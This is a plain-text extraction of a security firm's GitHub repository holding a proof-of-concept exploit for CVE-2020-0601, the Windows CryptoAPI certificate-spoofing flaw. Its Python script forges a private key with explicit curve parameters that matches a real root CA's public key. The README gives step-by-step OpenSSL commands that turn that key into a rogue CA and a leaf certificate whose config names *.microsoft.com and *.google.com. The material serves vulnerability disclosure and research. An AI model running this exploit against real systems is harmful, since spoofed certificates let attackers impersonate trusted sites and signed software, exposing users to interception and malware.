Repository: kudelskisecurity/chainoffools
Branch: master
Commit: f958c34fbe7c
Files: 5
Total size: 4.3 KB
Directory structure:
gitextract_lb0vfptj/
├── README.md
├── ca.cnf
├── gen-key.py
├── openssl.cnf
└── requirements.txt
================================================
FILE CONTENTS
================================================
================================================
FILE: README.md
================================================
# CryptoAPI
CVE-2020-0601: Windows CryptoAPI Spoofing Vulnerability exploitation. More information in our [blog post](https://research.kudelskisecurity.com/2020/01/15/cve-2020-0601-the-chainoffools-attack-explained-with-poc).
# Install requirements
```bash
pip install -U -r requirements.txt
```
The certificate generation works with OpenSSL verion up to [1.0.2u](https://github.com/openssl/openssl/releases/tag/OpenSSL_1_0_2u).
# CA certificate
We used the [USERTrust ECC Certification Authority](http://www.tbs-x509.com/USERTrustECCCertificationAuthority.crt) but it can be any root certificate working on P-384 curve.
To generate a private key which match the public key from the root certificate we used the script **gen-key.py** (works with Python 3.6 and above):
```bash
$ ./gen-key.py RootCert.pem
```
The key can be displayed with:
```bash
$ openssl ec -in p384-key-rogue.pem -text
```
Then to generate the rogue CA:
```bash
$ openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -config ca.cnf -days 500
```
Then we generate the following private key and certificate:
```bash
openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem
openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr
openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf
```
Finally to have the complete chain in a single file we concatenate the CA and the server certificates:
```bash
cat client-cert.pem ca-rogue.pem > cert.pem
```
================================================
FILE: ca.cnf
================================================
[ req ]
prompt = no
distinguished_name = req_distinguished_name
[ req_distinguished_name ]
C = CH
ST = Vaud
L = Lausanne
O = Kudelski Security PoC
OU = Research Team
CN = github.com
================================================
FILE: gen-key.py
================================================
#!/usr/bin/env python
import gmpy2
import sys
from fastecdsa.curve import P384
from fastecdsa.point import Point
from Crypto.Util.asn1 import DerSequence, DerOctetString, DerBitString, DerObjectId
from Crypto.IO import PEM
from Crypto.PublicKey import ECC
from binascii import hexlify
def generate_privkey(d, generator):
"""
Generate a private key with explicit parameters.
"""
modulus_bytes = 48
a = P384.a % P384.p
public_key = d * generator
generator = (b'\x04' +
generator.x.to_bytes(modulus_bytes, "big") +
generator.y.to_bytes(modulus_bytes, "big"))
public_key = (b'\x04' +
public_key.x.to_bytes(modulus_bytes, "big") +
public_key.y.to_bytes(modulus_bytes, "big"))
field_parameters = DerSequence([DerObjectId("1.2.840.10045.1.1"), P384.p])
parameters = [DerSequence([1, field_parameters,
DerSequence([
DerOctetString(a.to_bytes(modulus_bytes, "big")),
DerOctetString(P384.b.to_bytes(modulus_bytes, "big"))]),
DerOctetString(generator),
P384.q,
1
])]
seq = [1,
DerOctetString(d.to_bytes(modulus_bytes, "big")),
DerSequence(parameters, implicit=0),
DerBitString(public_key, explicit=1)]
return seq
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage " + sys.argv[0] + " root-certificate.pem")
sys.exit()
# Public key extraction
cert = open(sys.argv[1], "r")
pubkey = ECC.import_key(cert.read())
cert.close()
nb_bytes = pubkey.pointQ.size_in_bytes()
if pubkey.curve != "NIST P-384":
print("Public key must be on P-384 curve")
sys.exit()
Q = Point(int(pubkey.pointQ.x), int(pubkey.pointQ.y), curve=P384)
# Generate rogue generator
# we take the private key as being 2
privkey = int(gmpy2.invert(2, P384.q))
# we multiply our public key Q with the inverse of our chosen private key value
rogueG = 2 * Q
der = DerSequence(generate_privkey(privkey, rogueG))
# Generate new file
f = open('p384-key-rogue.pem','w')
keyfile = PEM.encode(der.encode(), 'EC PRIVATE KEY')
f.write(keyfile)
f.close()
================================================
FILE: openssl.cnf
================================================
[ req ]
prompt = no
distinguished_name = req_distinguished_name
x509_extensions = v3_req
[ req_distinguished_name ]
C = CH
ST = Vaud
L = Lausanne
O = Kudelski Security
CN = NorthSec 2023
[v3_req]
subjectAltName = @alt_names
[alt_names]
DNS.1 = *.kudelskisecurity.com
DNS.2 = *.microsoft.com
DNS.3 = *.google.com
DNS.4 = *.ktp.dev
================================================
FILE: requirements.txt
================================================
gmpy2
fastecdsa
gitextract_lb0vfptj/ ├── README.md ├── ca.cnf ├── gen-key.py ├── openssl.cnf └── requirements.txt
SYMBOL INDEX (1 symbols across 1 files) FILE: gen-key.py function generate_privkey (line 12) | def generate_privkey(d, generator):
Condensed preview — 5 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (5K chars).
[
{
"path": "README.md",
"chars": 1603,
"preview": "# CryptoAPI\n\nCVE-2020-0601: Windows CryptoAPI Spoofing Vulnerability exploitation. More information in our [blog post](h"
},
{
"path": "ca.cnf",
"chars": 181,
"preview": "[ req ]\nprompt = no\ndistinguished_name = req_distinguished_name\n[ req_distinguished_name ]\nC = CH\nST = Vaud\nL = Lausanne"
},
{
"path": "gen-key.py",
"chars": 2298,
"preview": "#!/usr/bin/env python\nimport gmpy2\nimport sys\n\nfrom fastecdsa.curve import P384\nfrom fastecdsa.point import Point\nfrom C"
},
{
"path": "openssl.cnf",
"chars": 337,
"preview": "[ req ]\nprompt = no\ndistinguished_name = req_distinguished_name\nx509_extensions = v3_req\n[ req_distinguished_name ]\nC = "
},
{
"path": "requirements.txt",
"chars": 15,
"preview": "gmpy2\nfastecdsa"
}
]
About this extraction
This page contains the full source code of the kudelskisecurity/chainoffools GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 5 files (4.3 KB), approximately 1.4k tokens, and a symbol index with 1 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.